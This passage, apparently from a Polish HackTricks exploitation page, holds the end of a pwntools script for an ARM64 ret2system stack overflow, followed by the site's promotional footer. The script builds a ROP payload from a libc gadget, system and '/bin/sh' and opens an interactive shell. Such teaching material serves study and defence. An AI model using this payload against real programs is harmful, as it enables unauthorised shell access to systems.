binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
```
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>